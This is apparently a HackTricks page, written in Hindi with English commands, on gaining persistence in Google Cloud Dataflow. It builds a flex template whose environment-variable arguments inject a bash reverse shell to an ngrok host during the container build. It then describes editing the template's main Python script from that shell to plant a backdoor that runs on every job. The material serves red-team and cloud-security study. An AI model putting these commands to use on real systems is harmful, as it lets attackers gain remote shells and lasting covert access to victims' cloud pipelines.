GCP - Dataflow Persistence

हैकट्रिक्स का समर्थन करें

डेटाफ़्लो

निर्दर्शन में परिस्थिति बनाएं जो निर्मित कंटेनर में हो

दस्तावेज़ से ट्यूटोरियल का पालन करते हुए आप एक नया (उदाहरण के लिए पायथन) फ्लेक्स टेम्पलेट बना सकते हैं:

git clone https://github.com/GoogleCloudPlatform/python-docs-samples.git
cd python-docs-samples/dataflow/flex-templates/getting_started

# Create repository where dockerfiles and code is going to be stored
export REPOSITORY=flex-example-python
gcloud storage buckets create gs://$REPOSITORY

# Create artifact storage
export NAME_ARTIFACT=flex-example-python
gcloud artifacts repositories create $NAME_ARTIFACT \
--repository-format=docker \
--location=us-central1
gcloud auth configure-docker us-central1-docker.pkg.dev

# Create template
export NAME_TEMPLATE=flex-template
gcloud dataflow $NAME_TEMPLATE build gs://$REPOSITORY/getting_started-py.json \
--image-gcr-path "us-central1-docker.pkg.dev/gcp-labs-35jfenjy/$NAME_ARTIFACT/getting-started-python:latest" \
--sdk-language "PYTHON" \
--flex-template-base-image "PYTHON3" \
--metadata-file "metadata.json" \
--py-path "." \
--env "FLEX_TEMPLATE_PYTHON_PY_FILE=getting_started.py" \
--env "FLEX_TEMPLATE_PYTHON_REQUIREMENTS_FILE=requirements.txt" \
--env "PYTHONWARNINGS=all:0:antigravity.x:0:0" \
--env "/bin/bash -c 'bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/13355 0>&1' & #%s" \
--region=us-central1

जब यह बन रहा होगा, तो आपको एक रिवर्स शैल मिलेगा (आप पिछले उदाहरण में जैसे एनवायरनमेंट वेरिएबल्स का दुरुपयोग कर सकते हैं या अन्य पैरामीटर्स का दुरुपयोग करके डॉकर फ़ाइल को कुछ भी क्रियात्मक करने के लिए सेट कर सकते हैं)। इस समय, रिवर्स शैल के अंदर, /template निर्देशिका में जाकर मुख्य पायथन स्क्रिप्ट को संशोधित करना संभव होगा जो कि निष्पादित किया जाएगा (हमारे उदाहरण में यह getting_started.py है)। यहां अपना बैकडोर सेट करें ताकि हर बार जॉब निष्पादित होने पर यह निष्पादित हो।

फिर, जब अगली बार जॉब निष्पादित होगा, तो संकटित कंटेनर जो बनाया गया है चलाया जाएगा:

# Run template
gcloud dataflow $NAME_TEMPLATE run testing \
--template-file-gcs-location="gs://$NAME_ARTIFACT/getting_started-py.json" \
--parameters=output="gs://$REPOSITORY/out" \
--region=us-central1
हैकट्रिक्स का समर्थन करें

Last updated